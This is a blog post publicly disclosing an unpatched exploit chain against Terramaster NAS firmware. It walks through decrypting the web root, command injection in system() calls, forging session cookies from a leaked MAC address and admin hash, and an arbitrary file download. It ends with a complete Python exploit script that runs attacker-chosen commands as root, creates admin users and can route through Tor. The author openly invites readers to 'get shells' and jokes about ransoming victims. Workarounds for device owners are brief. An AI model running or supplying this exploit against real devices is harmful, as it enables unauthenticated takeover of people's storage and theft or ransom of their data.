The mystic arts of summoning RCEs seem obscure and complex to those who are not trained for it, but in reality, the secret to all of them is one: shell_exec.

In the last couple weeks I was waiting for ZDI to know if they were interested in giving me some cash for this, but unfortunately they were not, so here you go: a freshly spawned 0day - merry fucking XMAS.

I don’t know if many of you are aware but legends speak of magic devices, called NASes (Network Attached Storage), which can be used to store all your data and backups so your other devices stay quick and light!

Wouldn’t it be a shame if somebody broke into it and, let’s say asked for a ransom? Yes. Exactly.

Now, what I’ll be talking about surely isn’t log4j, nor anything extremely cool, but I had fun finding the chain to RCE, so let’s ruin someone’s XMAS, Grinch style.

Also, a word of advice, this is an in-depth article which might be long and “boring”, if you just wanna get shells, cause mayhem or read the exploit directly, suit yourself.

Buy it

The first step in summoning an RCE is picking any of the mediocre technology products on Amazon, let’s say… a Terramaster NAS. It has positive reviews. It has 4 stars. It looks cheaper than other brands - that’s a no-brainer.

Use it

The second step is to use the product, see how sloppy the software looks, get a feel of how badly it could be developed and then proceed in setting up a baseline of “normal” behaviours.

As a user, you want to take advantage of ALL the features you see available, such as ssh-ing into it, fiddling with config files, inspecting running processes,… all the things one would normally do when playing with a new toy!

A quick run-down. First of all the NAS is running nginx, as shown by the ps aux output:

root      2094  0.0  0.0  14364   848 ?        Ss   Nov16   0:00 nginx: master process /usr/sbin/nginx
root      2095  0.0  0.1  15000  2156 ?        S    Nov16   0:00 nginx: worker process
root      2096  0.0  0.1  15000  2164 ?        S    Nov16   0:01 nginx: worker process
root      2097  0.0  0.1  15000  2080 ?        S    Nov16   0:02 nginx: worker process
root      2098  0.0  0.1  15040  2188 ?        S    Nov16   0:01 nginx: worker process
root      2195  0.0  0.1 165496  2484 ?        Ss   Nov16   1:18 php-fpm: master process (/etc/nginx/php-fpm.conf)
root     22699  0.0  0.0   3232   384 pts/0    S+   10:55   0:00 grep nginx

the current users on the system are:

admin:x:3:3:TOS User,:/home/admin:/bin/bash
guest:x:6:4:Linux User,:/home/guest:/bin/false
TimeMachine:x:1000:1000:Linux User,:/home:/bin/false
dbus:x:1002:1002:DBus messagebus user:/var/run/dbus:/bin/false
nslcd:x:1004:1004:nslcd user:/:/bin/false
sshd:x:1005:1005:SSH drop priv user:/:/bin/false
n0tme:x:2:4:TOS User,,,:/home/n0tme:/bin/bash

and there seems to be an interesting sqlite database file at /etc/base/nasdb:

n0tme@nas:~# sqlite3 /etc/base/nasdb 
SQLite version 2015-07-29 20:00:57
Enter ".help" for usage hints.
sqlite> .databases
seq  name             file                                                      
---  ---------------  ----------------------------------------------------------
0    main             /etc/base/nasdb                                           
sqlite> .tables
acl_host        app_table       group_users     share_crypt     vpn_user_table
acl_list        dav_list        interface       user_extend   
acl_webdav      dfs_list        share           user_table    

For now that’s enough poking around, let’s get down to business.

Break it

Now the juicy part. I will explain the things in the same order that I found them, so… enjoy.

The chain consists of:

  • 3 remote command execution (pick you flavor!)
  • 1 session crafting
  • 1 arbitrary file download
  • 2 information disclosures (leading to privilege escalation)

PHP files

Obviously the first place where we have a higher chance at finding bugs is where most of the custom functionality is: the web interface.

Let’s go take a look:

n0tme@nas:/usr/www$ ls
3.0  Enter.php  api  css  csv  databack  debug  debug.php  images  include  index.php  js  lang  m1.php  m2.php  mod  module  store  tos  version  wap  wizard

Nice, now what we need is to find out what those .php files do:

n0tme@nas:/usr/www$ cat m1.php | head -5
u�45�O��}�Ѹ�*��S�C���kL��u+��RY�~��%6�i:�*��iI  ����l�mQ���������f���yu�7J�/�B3�`��^A�Ro�J]I`H&ëM!�Q�����׳Nq/�șY��G�q�����6XxCFQ��.�
!�eD^IϦ@���                                                                                                                         X��|��\_���W��Rk��>�bF����Y(�$▒�G6$�"�|I6�rcy��TGn

I know what you’re thinking… WTF. Looks like some .php files are encrypted, based on a very arcane knowledge of mine I recall that php scripts are not binary files, so something must be decrypting those before they reach the interpreter so it can execute them.

Since this thing runs nginx my bets were either some nginx module or a php module. That or some black magic happening somewhere else. By checking the /etc/nginx/nginx.conf and running nginx -V does not reveal any module or special executable used, which means hopefully our answer will be in the php configuration:

n0tme@nas:/etc/php7# ls
+PACKAGE_php7-mod-iconv:icu  20_exif.ini      20_intl.ini      20_pdo_mysql.ini         20_shmop.ini      20_tokenizer.ini
15_openssl.ini               20_fileinfo.ini  20_json.ini      20_pdo_pgsql.ini         20_simplexml.ini  20_xml.ini
20_bcmath.ini                20_ftp.ini       20_mbstring.ini  20_pdo_sqlite.ini        20_sockets.ini    20_xmlreader.ini
20_calendar.ini              20_gd.ini        20_mysqlnd.ini   20_pgsql.ini             20_sqlite3.ini    20_xmlwriter.ini
20_ctype.ini                 20_gettext.ini   20_opcache.ini   20_phar.ini              20_sysvmsg.ini    20_zip.ini
20_curl.ini                  20_hash.ini      20_pcntl.ini     20_php_terra_master.ini  20_sysvsem.ini    30_mysqli.ini
20_dom.ini                   20_iconv.ini     20_pdo.ini       20_session.ini           20_sysvshm.ini    33_redis.ini

n0tme@nas:/etc/php7# cat 20_php_terra_master.ini

Well, looks like we have something interesting here! There seems to actually be a convinently named extension loaded in PHP. To the GHIDRA mobile!

Reversing 101

Ok so, I am not a good reverse engineer by a long shot, so I’ll be showing my totally naive approach to this. Do not do this at home, or do, I mean after all it kind of worked out for me. First step, is to get our hands on the binary and check if the binary is stripped or contains any useful debug info:

n0tme :: ~/Downloads » file                                                                        ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, stripped

n0tme :: ~/Downloads » readelf -sW|grep "FUNC"
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memcpy@GLIBC_2.17 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.17 (2)
     8: 000000000000356c   296 FUNC    GLOBAL DEFAULT   10 pm9screw_compile_file
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.17 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND tmpfile@GLIBC_2.17 (2)
    16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND readlink@GLIBC_2.17 (2)
    17: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.17 (2)
    20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fileno@GLIBC_2.17 (2)
    21: 0000000000003808     0 FUNC    GLOBAL DEFAULT   11 _fini
    41: 00000000000037ec    12 FUNC    GLOBAL DEFAULT   10 get_module
    44: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fwrite@GLIBC_2.17 (2)
    45: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND socket@GLIBC_2.17 (2)
    46: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strcpy@GLIBC_2.17 (2)
    47: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fxstat@GLIBC_2.17 (2)
    48: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strncpy@GLIBC_2.17 (2)
    52: 0000000000000fd8     0 FUNC    GLOBAL DEFAULT    8 _init
    53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND ioctl@GLIBC_2.17 (2)

The only thing that caught my eye here is really just the function pm9screw_compile_file, googling around for like a minute: here is a 2007 repository which might be useful.

From it’s README:

1. What's SCREW?

 PHP Screw is a PHP script encryption tool. When you are developing a
 commercial package using PHP, the script can be distributed as encrypted up
 until just before execution. This preserves your intellectual property.

This seems to fit our use case, we can take a look at the code to have a general overview of the algorithm used, then check with Ghidra if it is roughly the same, and take it from there!

Listing all defined strings gives us a quite short list, which I made even shorter:

0010081a        zend_compile_file       "zend_compile_file"     ds
0010082c        org_compile_file        "org_compile_file"      ds
0010083d        pm9screw_compile_file   "pm9screw_compile_file" ds
00103824        php_terra_master support        "php_terra_master support"      ds
0010384e        GH65Hws2jedf3fl3MeK     "GH65Hws2jedf3fl3MeK"   ds
00103862        show_source     "show_source"   ds
001038a4        php_terra_master        "php_terra_master"      ds
001038cb        tos_encrypt_str "tos_encrypt_str"       ds

As you can see there are a few interesting strings, and some strings which strongly hint us we are on the right track. There is also one very long string GH65Hws2jedf3fl3MeK - all of a sudden a flashback from my first crackmes struck me: hardcoded passphrases.

Jumping at the only available XREF for our candidate passphrase we land at 0010341c:

  local_c0 = 0;
  uStack184 = 0;
  local_b0 = 0;
  uStack168 = 0;
  local_a0 = 0;
  uStack152 = 0;
  local_90 = 0;
  uStack136 = 0;
  puVar3 = (undefined8 *)FUN_00102348("GH65Hws2jedf3fl3MeK");

now, at this point I just wanted to break things, luckily I stumbled upon the very friendly bloodyshell who happened to be working on my exact device, for obviously different purposes. Since he already worked (or worked way quicker than me) on reversing the algorithm, I asked him for help and he blessed me with a decryption tool to “unscrew” the code. A link to the utility’s source code is here.

Which leaves us with a decrypted web root!

n0tme :: unscrewed » cat m1.php|head -10
include_once "include/app.php";
$core = new core();
$board = $core->_boardmodel();
$vn = $core->_VersionNumber();
$macs[0] = trim(file_get_contents('/sys/class/net/eth0/address'));
$macs[1] = trim(file_get_contents('/sys/class/net/eth1/address'));

Grep dat shell (RCEs)

Literally, grep for shell:

n0tme :: unscrewed » grep -rie "shell_exec(.*" -e "system(.*" . | cut -d":" -f 1 | sort -u | grep -v ".js"

Now, we want something that has user controlled input, hopefully with no authentication required. I could not find anything like that, what I could find is instead an interesting function which accepts user input and result in an RCE if reached by an admin user:


And a couple which work from non-admin users as well, these do not conviniently provide an output in the response, but nonetheless they stillexecute our commands:



All have a similar issue, user input is inserted into a string executed by either shell_exec() or system(), I will provide one example below, the function app/del at tos/controller/app.class.php:

public function del() {
    $id = $this->in['id'];
    $name = $this->in['name'];
    @system("rm -f ".USER."home/desktop/{$name}.*.oexe");
    $result = self::$netfile->delete($id);
    if($result == 1){

User controls the parameter name which gets concatenated inside the OS call and executed, as root. Bad.

You shall not pass! (Session crafting)

Now we have a RCE, but we still need to get access to it without a user. In our case we need an authentication bypass of some kind to reach the vulnerable functions. Which leaves us hunting for APIs which manage authentication logic or sessions.

I’ll save the boring stuff, after some time looking at the code I eventually found that the file include/class/application.class.php managed the login:

public function loginCheck() {
else if($_COOKIE['kod_name'] != '' && $_COOKIE['kod_token'] != ''){
            $this->sessionid = "";
            $db = new NasDBLite();
            $members = $db->member();
            $user = isset($members[$_COOKIE['kod_name']]) ? $members[$_COOKIE['kod_name']] : false;
            if (!is_array($user) || !isset($user['password'])) {
                return false;
            if(tos_encrypt_str($user['password']) == $_COOKIE['kod_token']){
                $this->sessionid = SessionEvents::login($user);
                if ($user['role'] == 'root') {
                    $GLOBALS['is_admin'] = 1;
                    $GLOBALS['is_admin'] = 0;
                $GLOBALS['user'] = $user;
                define('USER', USER_PATH.$user['name'].'/');
                define('USER_DATA', USER.'.data/');
                define('USER_TEMP', USER_DATA.'temp/');
                define('USER_HOME', USER.'home/');
                define('USER_RECYCLE', USER.'recycle/');
                setcookie('kod_name', $_COOKIE['kod_name'], time()+3600*24*365);
                setcookie('kod_token',$_COOKIE['kod_token'],time()+3600*2, "/");
                return true;

The first part checks for an existing session, which we obviously do not have, if it does not exist, it checks some cookies: kod_name and kod_token which are the username and the session cookie.

So, to bypass the login and get a valid session we need to:

  • craft a kod_name with an existing user (quite easy)
  • craft a valid kod_token (requires us to find out what tos_encrypt_str does)

Turns out, tos_encrypted_str is not defined in any of the PHP files, which leaves it as a “native” function, which might be defined in the loaded custom module:

The function, which is at offset 00103738 basically does the following:

def tos_encrypt_str(toencrypt):
    key = MAC_ADDRESS[6:] 
    return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()

Dope, so we can now tos_encrypt stuff but we still need a user’s password hash… luckily for us, when disabled the guest user has a default NULL hash, which means we can call tos_encrypt_str("") and get a valid token! When enabled the credentials seem to be hardcoded:

} else {
    if ($this->config['setting_system']['auto_login'] != '1') {
    } else {
        if (!file_exists(USER_SYSTEM . 'install.lock')) {
            header("location: /Enter.php");

Too much info, pal! (Info disclosure)

We still miss a little something! We are so close, I can smell the ransomwares creeping upon them victory. The only one missing piece now is the MAC address.

Luckily this can be easily obtained by either visiting the m1.php and m2.php pages or by contacting the APIs at /module/api.php?mobile/wapNasIPS and /module/api.php?mobile/webNasIPS.

To correctly contact those we need the following headers to be set:

  • User-Device:TNAS
  • User-Agent:TNAS

as per include/class/mobile.class.php constructor:

function __construct() {
    $this->start = $this->mtime();

    if (!in_array(Action, self::$notHeader)) {
            $this->output("Illegal request, please use genuine software!", false);

and functions:

function webNasIPS() {
    if (strstr($_SERVER['HTTP_USER_AGENT'], "TNAS")) {

function wapNasIPS() {
    if ($_SERVER['HTTP_USER_DEVICE'] == "TNAS") {

Luckily for us, the functions we need to contact are inside the array notHeader which means we do not need the additional HTTP_AUTHORIZATION header for now.

Setting the headers gets us the info we need, plus a very handy json:

{"code":true,"sessionid":"3902782408ebacea7cda7933c75bfbba","msg":"wapNasIPS successful","data":{"PWD":"$1$k2eh7cjZ$rlR5mBvLxrjzQCQQJ/f11/","IFC":"","ADDR":"6cbfb5023f24","SAT":1,"DAT":[{"hostname":"nas","firmware":"TOS3_A1.0_4.2.17","sn":"","version":"2110301418"},{"network":"eth0","ip":"","mask":"","mac":"6c:bf:b5:02:3f:24"},{"service":[{"name":"http_ssl","url":"","port":"5443"},{"name":"http","url":"","port":"8181"},{"name":"sys","url":"","port":"8181"},{"name":"channel","url":"","port":0},{"name":"pt","url":"","port":0},{"name":"ftp","url":"","port":21},{"name":"web_dav","url":"","port":0},{"name":"smb","url":"","port":0}]}]},"time":0.2337968349456787}

guess who’s password hash is in PWD? Correct, the admin’s!

Crafting admins (Privilege escalation)

Using the session crafting method explained earlier and the information disclosure discussed above we can easily craft an administrator session.

During my testing this did not work with the default “admin” account, this is because if during the setup the user specifies a custom username(in my case n0tme) we are out of luck… or are we?

I mean we can brute force the username, but this is lame, considering that it might end up not working, we want a reliable exploit to sell to ZDI.

This is quickly solvable by looking at the lovely API from /include/class/mobile.class.php:

public function fileDownload() {
    $filepath = realpath($this->in['path']);

nice, a API which is used for downloading files, I bet you are wondering if we could download a file as a guest user… yup - that was too easy wasn’t it? So we can call the fileDownload API then:

  • get the /etc/groups file
  • find all users in the admin group
  • try the hash with each admin until we succeed

The only extra requirement for the fileDownload API is the signature and timestamp headers which should be set to tos_encrypted_str(timestamp) and the timestamp of the request, respectively. This can be done easily since we have all the pieces.


Now we just have to go over it all, again, in the right order:

  1. Setup the User-Device and User-Agent to TNAS
  2. Grab the admin hash and MAC address from /module/api.php?mobile/wapNasIPS or /module/api.php?mobile/webNasIPS
  3. Call the fileDownload API to get the /etc/group
  4. Pick one of the 3 RCEs and pwn the NAS.

Finally, here is the exploit:

#/bin/env python

Product: Terramaster F4-210, Terramaster F2-210
Version: TOS 4.2.X (4.2.15-2107141517)
Author: n0tme (thatsn0tmysite)
Description: Chain from unauthenticated to root via session crafting.

import urllib3
import requests
import json
import argparse
import hashlib
import time
import os

TARGET = None 
PWD = None

def tos_encrypt_str(toencrypt):
    key = MAC_ADDRESS[6:] 
    return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()

def user_session(session, username):
    cookies = {"kod_name":username, "kod_token":tos_encrypt_str(PWD)}
    if username == "guest":
        cookies = {"kod_name":"guest", "kod_token":tos_encrypt_str("")}
    for name,value in cookies.items():
        session.cookies[name] = value

def download(session, path, save_as=None):
    user_session(session, "guest")"{TARGET}/module/api.php?mobile/fileDownload", data={"path":path})
    filename = os.path.basename(path)
    if save_as is not None:
        filename = save_as
    with open(filename, "wb") as file:

def get_admin_users(session):
    download(session, "/etc/group", save_as="/tmp/terramaster_group")
    with open("/tmp/terramaster_group", "r") as groups:
        for line in groups:
            line = line.strip()
            fields = line.split(':')
            if fields[0] == "admin":
                users = fields[3].split(",")
                return users  

if __name__ == '__main__':
    p = argparse.ArgumentParser()
    p.add_argument(dest="target", help="Target URL (e.g.")
    p.add_argument("--cmd", dest="cmd", help="Command to run", default="id")
    p.add_argument("-d", "--download", dest="download", help="Only download file", default=None)
    p.add_argument("-o", "--output", dest="save_as", help="Save downloaded file as", default=None)
    p.add_argument("-c", "--create", dest="create", help="Only create admin user (format should be admin:password)", default=None)
    p.add_argument("--tor", dest="tor", default=False, action="store_true", help="Use TOR")
    p.add_argument("--rce", dest="rce", default=0, type=int, help="RCE to use (1 and 2 have no output)")
    args = p.parse_args()

    TARGET = 

    s = requests.Session()
    if args.tor:
        s.proxies = {"http":"socks5://", "https": "socks5://"}
    s.headers.update({"user-device":"TNAS", "user-agent":"TNAS"})"{TARGET}/module/api.php?mobile/wapNasIPS")
        j = r.json()
        PWD = j["data"]["PWD"]
        MAC_ADDRESS = j["data"]["ADDR"]
    except KeyError:
    TIMESTAMP = str(int(time.time()))
    s.headers.update({"signature": tos_encrypt_str(TIMESTAMP), "timestamp": TIMESTAMP})
    s.headers.update({"authorization": PWD})

    if != None:
        download(s,, save_as=args.save_as)

          f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND
          f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"] #BLIND
    for admin in get_admin_users(s):
        user_session(s, admin)
        if args.create != None:
            user, password = args.create.split(":") 
            groups = json.dumps(["allusers", "admin"])
  "{TARGET}/module/api.php?mobile/set_user_information", data={"groups":groups, "username":user,"operation":"0","password":password,"capacity":""})
            if "create user successful!" in str(r.content, "utf8"):

        r = s.get(RCEs[args.rce])
        content = str(r.content, "utf-8")
        if "<!--user login-->" not in content: 

Fix it

This should be handled by Terramaster, not yourself, but in case you do not want to wait for them to release a patch. Here are a few workarounds, those are to be considered as complementary to each others:

  • disconnect your NAS from the internet
  • change the guest user’s password to a strong one (this prevents the session crafting as guest and file download)
  • patch mobile.class.php to not return the hash. Variable should be called PWD, just set it to "" or something.
  • remove the m1.php and m2.php files, not even sure what they are needed for… (to avoid leaking the MAC address)
  • patch as soon as this gets fixed by terramaster.

As for the RCEs for authorized users a deeper look at the architecture of the application is required and I do not work for Terramaster, so I leave that up to them.


I hope this will push Terramaster to step in and quickly fix this issue ASAP. Now, I guess it’s time to watch some leaked Matrix some XMAS movie… Die Hard.

Have fun and listen to more Daft Punk.